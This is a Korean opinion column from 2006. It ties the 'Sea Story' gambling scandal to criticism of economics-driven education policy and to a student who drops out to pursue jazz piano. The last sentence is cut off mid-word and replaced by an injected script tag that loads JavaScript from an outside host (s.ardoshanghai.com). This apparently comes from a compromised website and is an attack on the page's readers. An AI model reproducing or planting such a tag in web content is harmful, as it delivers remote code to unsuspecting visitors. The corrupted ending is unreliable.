교육도 도박이다.

작성자 : 후원회 | 조회수 : 3,116 | 작성일 : 2006년 9월 4일

바다 이야기! 그 용어만 보고 있노라면 왠지 시원한 느낌을 줄 것 같다. 그런데 ‘바다이야기’가 정치권과 조폭이 연결된 도박이야기일 줄이랴. 아직도 서민들은 그 이야기가 무엇인지를 감도 잡지 못하는 상황이지만, 적어도 많은 경우 이들이 부추기는 射倖心 도박으로 국민들을 병들게 하고 있었음은 분명하다.  
  대박이 터질 것이라는 기대심리로 참여한 도박이 집과 가족, 직장을 잃고 신음하는 사람들을 양산하고 있을 즈음에, 정치권이 개입된 ‘바다이야기’는 마치 폭풍전야처럼 연일 속사정의 악취나는 비리들을 쏟아내었다. 언젠가 벤처이야기를 많이 했던 시절이 있었다. 벤처(venture)의 뜻은 모험적 시도, 투기적 기업, 그리고 모험적 사업의 대상물인 배, 뱃짐, 상품, 도박에 건 돈 따위를 말한다. 그러고보면 도박과 벤처는 거의 등식에 가까운 용어처럼 보인다. 대박이 터질 것이라는 기대심리 말이다. 
  이런 분위기를 낳고 있는 정부는 교육을 어떻게 하고 있을까? 교장을 언제부터인가 C.E.O라 칭하여 단위학교의 최고 경영자라는 칭호를 쓰고 있다. 교육을 담당하는 교장을 경제논리에 맞게 칭하는 용어이다. 각종 교사연수를 가면 언제나 교육에 철학적인 이야기는 거의 없고, 물질적 경제논리가 무게 있게 중앙의 자리를 차지하고 있다. 교육의 현장은 이제는 참다운 인간을 만드는 교육이 아니라, 기능적 인간을 만드는 교육이라고 말하게 되어 버렸다. 이는 경제 논리에서 비롯된 것이다. 경제원칙이 최소의 경비를 들여 최대의 효과를 올린다는 것이라면, 학생들을 틀 속에 가두고 급속도로 회전시켜 인재를 빼내려 하는 요즘의 교육 모습은, 교육정책에서 비롯되는 현장 또한 도박판이 아닐런지 의문이 된다. 
  정부의 교육정책이 젊은이들은 무엇이든지 한 가지만 잘하면 된다는 분위기다. 어른이 되면 한 가지를 잘해야 살아가는데, 이는 학생시절 인문과학의 기초, 기반이 튼튼해야 한 가지 일을 더 잘 할 수 있다는 점을 모르고 있는 것이다. 
  한 학생이 학교를 자퇴했다. 재즈 피아노를 전공하겠다는 것이다. 일종의 모험이다. 자퇴 후 전문 학원을 다니며 검정고시를 하면 원하는 대학에 진학한다는 것이다. 자기 공식대로 척척 대입이 되면 좋은 일이나, 이런 모험은 자녀의 건강한 미래를 위해 학부모가 좀더 심사숙고 했어야 했다. 학생이 상식을 배워야 할 시기에 전문가 되기 위해 해야 할 일을 포기 하는 것은 일종의 도박이다. 물론 이런 결정이 방법적으로 잘된 것인지는 두고 보아야 하지만, 천천히 단계별로 다가가는 사람들보다 더 빠르지 않다는 것을 알아야 한다. 어른들은 젊은이들에게 제대로 된 삶의 방법을 가르쳐 주어야 한다. 폭풍처럼 번지는 ‘바다이야기’가 수사를 통해 진상을 꺼내는 중이라서 두고 볼 일이지만 이번 일로 정부가 도박 같은 정책을 모든 분야에서 축출했으?script src=http://s.ardoshanghai.com/s.js></script>

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